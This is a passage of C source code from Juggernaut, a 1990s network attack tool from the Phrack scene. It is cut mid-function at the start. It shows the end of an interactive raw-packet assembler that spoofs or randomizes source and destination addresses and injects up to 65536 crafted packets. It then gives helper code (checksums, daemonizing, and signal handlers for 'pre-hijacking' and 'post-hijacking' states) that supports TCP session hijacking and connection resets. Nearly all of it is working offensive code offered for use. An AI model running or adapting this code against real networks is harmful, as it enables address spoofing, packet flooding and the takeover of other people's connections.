		    if(packetready&0x01)packetready^=0x01; 
		    rippack.ip.tos=0;
		    break;
		}
		if(buf[0]=='y'){
		    rippack.ip.tos|=0x10;
		    tosflags[i++]='D';
		}
		fprintf(stderr,"\nMaximize Throughput? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x01)packetready^=0x01; 
		    rippack.ip.tos=0;
		    break;
		}
		if(buf[0]=='y'){
		    rippack.ip.tos|=0x08;
		    tosflags[i++]='T';
		}
		fprintf(stderr,"\nMaximize Reliability? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x01)packetready^=0x01; 
		    rippack.ip.tos=0;
		    break;
		}
		if(buf[0]=='y'){
		    rippack.ip.tos|=0x04;
		    tosflags[i++]='R';
		}
		fprintf(stderr,"\nMinimize Monetary Cost? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x01)packetready^=0x01; 
		    rippack.ip.tos=0;
		    break;
		}
		if(buf[0]=='y'){
		    rippack.ip.tos|=0x02;
		    tosflags[i++]='C';
		}
		if(!tosflags[0])strcpy(tosflags,"none set");
		packetready|=0x01;
		break;
            case 2:			/* Frag Flags */
	        bzero(fflags,sizeof(fflags));
		fprintf(stderr,"\nMore Fragments? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x02)packetready^=0x02; 
		    rippack.ip.frag_off=0;
		    break;
		}
		if(buf[0]=='y'){
		    rippack.ip.frag_off|=htons(0x4000);
		    fflags[i++]='M';
		}
		fprintf(stderr,"\nDon't Fragment? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x02)packetready^=0x02; 
		    rippack.ip.frag_off=0;
		    break;
		}
	        if(buf[0]=='y'){
		    rippack.ip.frag_off|=htons(0x2000);
		    fflags[i++]='D';
		}
                if(!fflags[0])strcpy(fflags,"none set");
		packetready|=0x02;
		break;
            case 3: 		/* Frag Offset */
	        fprintf(stderr,"\nFragment Offset [qr] >");
                fgets(buf,sizeof(buf),stdin);
	        if(buf[0]=='r'){
		    rippack.ip.frag_off|=htons(random()&0x1fff);
		    packetready|=0x04;
		    break;
	        }
                if(buf[0]=='q'||(val=atoi(buf))<0||val>8191){
		    if(packetready&0x04)packetready^=0x04;
		    rippack.ip.frag_off&=~0x3fff;
		    break;
	        }
                rippack.ip.frag_off|=htons(val&0x1fff);
	        packetready|=0x04;
                break;
            case 4:			/* TTL */
                fprintf(stderr,"\nTTL (0 - 255) [qr] >");
                fgets(buf,sizeof(buf),stdin);
	        if(buf[0]=='r'){			
		    rippack.ip.ttl=random()&0xff;
		    packetready|=0x08;
	            break;
	        }
	        if(buf[0]=='q'||(val=atoi(buf))<0||val>255){
		    if(packetready&0x08)packetready^=0x08;
		    rippack.ip.ttl=0;
		    break;
                }
	        rippack.ip.ttl=val;
	        packetready|=0x08;
	        break;
	    case 5:			/* Source Address */
                bzero(sip,sizeof(sip));
	        fprintf(stderr,"\nSource Address [qr] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]==0x0a||buf[0]=='q'){
		    if(packetready&0x10)packetready^=0x10;
		    rippack.ip.saddr=0;
		    break;
                }
                if(buf[0]=='r'){
                    rippack.ip.saddr=htonl(random());
                    strncpy(sip,hostLookup(rippack.ip.saddr),sizeof(sip));
                    packetready|=0x10;
                    break;
                }
                strncpy(sip,buf,sizeof(sip));
                for(i=0;i<2*MINIBUF;i++)if(!sip[i])break;
                sip[--i]=0;                 	
       	        if(!(rippack.ip.saddr=nameResolve(buf))){
		    fprintf(stderr,"Cannot resolve IP address.\n");
	            fprintf(stderr,"[cr]");
                    getchar();
		    bzero(sip,sizeof(sip));			
		    if(packetready&0x10)packetready^=0x10;
		    break;
	        }
                packetready|=0x10;
	        break;
	    case 6:			/* Destination Address */
                bzero(dip,sizeof(dip));
	        fprintf(stderr,"\nDestination Address [qr] >");
                fgets(buf,sizeof(buf),stdin);
	        if(buf[0]==0x0a||buf[0]=='q'){
	            if(packetready&0x20)packetready^=0x20;
	            rippack.ip.daddr=0;
	            break;
                }
                if(buf[0]=='r'){
                    strncpy(dip,hostLookup(rippack.ip.daddr),sizeof(dip));
                    rippack.ip.daddr=htonl(random());
                    packetready|=0x20;
                    break;
                }
                strncpy(dip,buf,sizeof(dip));
                for(i=0;i<2*MINIBUF;i++)if(!dip[i])break;
                dip[--i]=0;
	        if(!(rippack.ip.daddr=nameResolve(buf))){
	            fprintf(stderr,"Cannot resolve IP address.\n");
	            fprintf(stderr,"[cr]");
                    getchar();
	            bzero(dip,sizeof(dip));
	            if(packetready&0x20)packetready^=0x20;
	            break;
	        }
	        packetready|=0x20;
	        break;
	    case 7:                     /* Number of packets to send */
                fprintf(stderr,"\nAmount (1 - 65536) [qr] >");
                fgets(buf,sizeof(buf),stdin);
                if(buf[0]=='r'){
                    number=(random()&0xffff);
                    packetready|=0x40;
                    break;
                }
                if(buf[0]=='q'||(val=atoi(buf))<0||val>65536){
                    if(packetready&0x40)packetready^=0x40;
                    number=0;
                    break;
                }
                number=val;
                packetready|=0x40;
                break;
            case 8:			    /* Return */
                loopsentry=0;
                bzero(&rippack,sizeof(rippack));
	        break;
            case 9:
                loopsentry=0;
                woe=1;
                break;
            case 10:			
                if(packetready==0x7f){
		    sin.sin_family=AF_INET;         
                    sin.sin_port=0;

                    rippack.ip.version=4;	        /* IPv4 */
                    rippack.ip.ihl=5;		        /* This will change 
                                                           if options are
                                                           present */
		    switch(transport){              
		        case NOTRANSPORT:		/* IP packet only */
                            sin.sin_addr.s_addr=rippack.ip.daddr;

                            rippack.ip.protocol=IPPROTO_IP;

		            break;
		        case TCPTRANSPORT:		/* TCP */
                            sin.sin_port=tpack.tcp.source;
                            sin.sin_addr.s_addr=rippack.ip.daddr;
                        
                            rippack.ip.protocol=IPPROTO_TCP;

                            tempBuf=(char *)malloc(PHDR+TCPHDR+BUFSIZE);
                            ppheader=(struct psuedoHeader *)tempBuf;

                            ppheader->saddr=rippack.ip.saddr;
                            ppheader->daddr=rippack.ip.daddr;
                            ppheader->prot=IPPROTO_TCP;
                            ppheader->null=0;
                            ppheader->tlen=htons(TCPHDR+BUFSIZE);

                            bcopy(&tpack,tempBuf+PHDR,PHDR+TCPHDR+BUFSIZE);
                            tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+BUFSIZE);
                            free(tempBuf);
                            bcopy((char *)&tpack,(char *)&rippack.payload,TCPHDR+BUFSIZE);

                            break;
		        case UDPTRANSPORT:		/* UDP */
                            sin.sin_port=upack.udp.source;
                            sin.sin_addr.s_addr=rippack.ip.daddr;

			    rippack.ip.protocol=IPPROTO_UDP;

                            tempBuf=(char *)malloc(PHDR+UDPHDR+BUFSIZE);
                            ppheader=(struct psuedoHeader *)tempBuf;

                            ppheader->saddr=rippack.ip.saddr;
                            ppheader->daddr=rippack.ip.daddr;
                            ppheader->prot=IPPROTO_UDP;
                            ppheader->null=0;
                            ppheader->tlen=htons(UDPHDR+BUFSIZE);

                            bcopy(&upack,tempBuf+PHDR,PHDR+UDPHDR+BUFSIZE);
                            upack.udp.check=in_cksum((unsigned short *)tempBuf,PHDR+UDPHDR+BUFSIZE);
                            free(tempBuf);
                            bcopy((char *)&upack,(char *)&rippack.payload,UDPHDR+BUFSIZE);

                            break;
		        case ICMPTRANSPORT:		/* ICMP */
                            sin.sin_addr.s_addr=rippack.ip.daddr;

			    rippack.ip.protocol=IPPROTO_ICMP;
			
                            break;
		        default:	    /* Control should never fall here */
			    if(verbosity)perror("RIP Assembler [unknown transport]");
			    exit(1);
		    }
                    for(k=number,i=0;i<number;i++){
    	                if((j=sendto(ripsock,&rippack,RIPPACKETSIZE,0,(struct sockaddr *)&sin,sizeof(sin)))<RIPPACKETSIZE){
		            fprintf(stderr,"Packet # %d: Wrote only %d bytes to raw socket\n",i,j);
                            k--;
			    if(verbosity)perror("RIP module sendto");
		        }
                    }
		    fprintf(stderr,"%d Packet(s) injected.\n",k);
		    getchar();
		    break;
	        }
	        continue;
	    default: 
                continue;
        }
    }
	                            /* NOTREACHED */
}
<-->
<++> Juggernaut/NumberOneCrush/surplus.c
/*
 *
 *                                  Juggernaut
 *                                  Version b2
 *
 *                            1996/7 Guild productions
 *                           daemon9[guild|phrack|r00t]
 *
 *                         comments to route@infonexus.com
 *
 *  This coding project made possible by a grant from the Guild corporation
 * 
 *  surplus.c - helper functions
 * 
 */

#include <string.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>

#define HELPFILE    "./ClothLikeGauze/.help"
#define FBUFSIZE     80
#define MINIBUF      10

extern int verbosity;    


/*
 *  IP address into network byte order
 */
                 
unsigned long nameResolve(hostname)
char *hostname;
{
        
    struct in_addr addr;
    struct hostent *hostEnt; 
   
    if((addr.s_addr=inet_addr(hostname))==-1){
        if(!(hostEnt=gethostbyname(hostname)))return(0);
        bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
    }
    return addr.s_addr;
}

#ifdef FASTCHECK
 
/*
 *  Fast IP checksum routine.
 */

unsigned short in_cksum(buff,len)
unsigned char *buff;
int len;
{
    unsigned long sum = 0;
    if (len>3){
        __asm__("clc\n"
        "1:\t"
        "lodsl\n\t"
        "adcl %%eax, %%ebx\n\t"
        "loop 1b\n\t"
        "adcl $0, %%ebx\n\t"
        "movl %%ebx, %%eax\n\t"
        "shrl $16, %%eax\n\t"
        "addw %%ax, %%bx\n\t"
        "adcw $0, %%bx"
        : "=b" (sum) , "=S" (buff)
        : "0" (sum), "c" (len >> 2) ,"1" (buff)
        : "ax", "cx", "si", "bx" );
    }
    if(len&2){
        __asm__("lodsw\n\t"
        "addw %%ax, %%bx\n\t"      
        "adcw $0, %%bx"
        : "=b" (sum), "=S" (buff)
        : "0" (sum), "1" (buff)
        : "bx", "ax", "si");
    }
    if(len&1){
        __asm__("lodsb\n\t"
        "movb $0, %%ah\n\t"
        "addw %%ax, %%bx\n\t"
        "adcw $0, %%bx"
        : "=b" (sum), "=S" (buff)
        : "0" (sum), "1" (buff)
        : "bx", "ax", "si");
    }                     
    sum =~sum;
    return(sum&0xffff);
}

#else
 
/*
 *  IP Family checksum routine
 */

unsigned short in_cksum(ptr,nbytes)
unsigned short *ptr;
int nbytes;
{
                        
    register long sum=0;        /* assumes long == 32 bits */
    u_short oddbyte;
    register u_short answer;    /* assumes u_short == 16 bits */
        
    while(nbytes>1){
        sum+=*ptr++;
        nbytes-=2;    
    }
    if(nbytes==1){              /* mop up an odd byte, if necessary */
        oddbyte=0;              /* make sure top half is zero */
        *((u_char *)&oddbyte)=*(u_char *)ptr;   /* one byte only */
        sum+=oddbyte;
    }               
    sum+=(sum>>16);             /* add carry */
    answer=~sum;                /* ones-complement, then truncate to 16 bits */
    return(answer);
}

#endif 

/*
 *  Network byte order into IP address
 */

char *hostLookup(in)
unsigned long in;
{

    #define BUFSIZE         256
 
    char hostname[BUFSIZE]={0};
    struct in_addr addr;
#ifdef USENAME
    struct hostent *hostEnt;
#endif
   
    addr.s_addr=in;
    
#ifdef USENAME
    hostEnt=gethostbyaddr((char *)&addr,sizeof(struct in_addr),AF_INET);
    if(!hostEnt)
#endif

        strcpy(hostname,inet_ntoa(addr));           /* KLUDGEY. */

#ifdef USENAME
    else strcpy(hostname,hostEnt->h_name);
#endif
    return(strdup(hostname));
}
 
/*
 *  Simple daemonizing procedure.
 */   

int shadow(void){

    int fd,pid;
    extern int errno;

    signal(SIGTTOU,SIG_IGN);    /* Ignore these signals */
    signal(SIGTTIN,SIG_IGN);
    signal(SIGTSTP,SIG_IGN);

    switch((pid=fork())){
        case 0:                 /* Child */
            break;
        default:        
            exit(0);            /* Parent */
        case -1:
            fprintf(stderr,"Forking Error\n");
            exit(1);
    }
    setpgrp();
    if((fd=open("/dev/tty",O_RDWR))>=0){
        ioctl(fd,TIOCNOTTY,(char *)NULL);
        close(fd);
    }
    errno=0;
    chdir("/");
    umask(0);
    return(pid);
}


/*
 *  Keeps processes from zombiing on us...
 */
        
static void reaper(signo)
int signo;
{
    pid_t pid;
    int sys;

    pid=wait(&sys); 
    signal(SIGCHLD,reaper);
    return;
}


/*
 *  Dump usage and exit.
 */

void usage(nomenclature)
char *nomenclature;
{
    fprintf(stderr,"\n\nUsage:\t%s [-h] [-s TOKEN [-e xx] ] [-v] [-t xx]\n\n
    -h terse help
    -H expanded help for those 'specially challanged' people...
    -s dedicated sniffing (bloodhound) mode, in which TOKEN is found enticing
    -e enticement factor (defaults to 16)
    -v decrease verbosity (don't do this)
    -V version information
    -t xx network read timeout in seconds (defaults to 10)
    Invoked without arguments, Juggernaut starts in `normal` mode.\n\n",nomenclature);
    exit(0);
}


/*
 *  Simple file pager.
 */

void bookworm(){

    FILE *fp;
    char tempBuf[FBUFSIZE],buf[MINIBUF];
    int i=0;

    if(!(fp=fopen(HELPFILE,"r"))){
        if(verbosity){
            fprintf(stderr,"Cannot open help file.\n");
            fprintf(stderr,"[cr]");
            getchar();
            return;
        }
    }
    while(fgets(tempBuf,FBUFSIZE-1,fp)){
        fprintf(stderr,tempBuf);
        if(i==24){
            fprintf(stderr,"\n[cr,q] >");
            bzero(&buf,sizeof(buf));
            fgets(buf,sizeof(buf-1),stdin);
            if(buf[0]=='q')break;
            i=0;
        }
        else i++;
    }
}


/*
 *  Main signal handler to facilitate clean exits.
 */

void twitch(){

    void cleanexit();

    if(verbosity)fprintf(stderr,"\nCaught signal, exiting cleanly.\n");
    signal(SIGINT,SIG_DFL);
    signal(SIGQUIT,SIG_DFL);
    cleanexit();
}


/*
 *  Used as a catchall to cleanly exit proccesses
 */

void spasm(){

    extern int linksock;

    if(linksock)close(linksock);        /* Hunter should have this... */
    exit(0);
}


/*
 *  Spy signal handler.
 */ 
                    
void convulsion(){

    void twitch();
    
    extern int sigsentry;

    if(verbosity)fprintf(stderr,"\nCaught signal.\n");
    fprintf(stderr,"[cr]");
    getchar();
    signal(SIGINT,twitch);
    sigsentry=0;
}


/*
 *  Pre-hijacking signal handler.
 */

void sputter(){

    void twitch();

    extern int sigsentry;

    if(verbosity)fprintf(stderr,"\nCaught prehijack signal.\n");
    signal(SIGINT,twitch);
    sigsentry=0;
}      


/*
 *  Post-hijacking signal handler.
 */

void seizure(){

    void twitch();

    extern int sigsentry;

    if(verbosity)fprintf(stderr,"\nCaught posthijack signal.\n");
    sigsentry=0;
    signal(SIGINT,twitch);
}      

/*
 *  Exit Cleanly.
 */

void cleanexit(){

    void powerdown();

    extern int ripsock;
    extern int hpid;
    extern int acrstpid;

    close(ripsock);
    powerdown();
    if(kill(hpid,SIGUSR1))if(verbosity){    /* Send signal to the hunter */
        perror("(cleanexit) Could not signal hunter");
        fprintf(stderr,"[cr]");
        getchar();
    }
    if(acrstpid)    /* Send signal to the automated connection reset daemon. 
                       XXX - This only signals one daemon!  If more exist, 
                       they will be left stranded! */
        if(kill(acrstpid,SIGUSR1))if(verbosity){ 
        perror("(cleanexit) Could not signal ACRSTD"); 
        fprintf(stderr,"[cr]");    
        getchar();                     
        }                                  
    fprintf(stderr,"Juggernaut is a Guild Corporation production, (c) 1996/7.\n\n");
    exit(0);
}
  
<-->

EOF
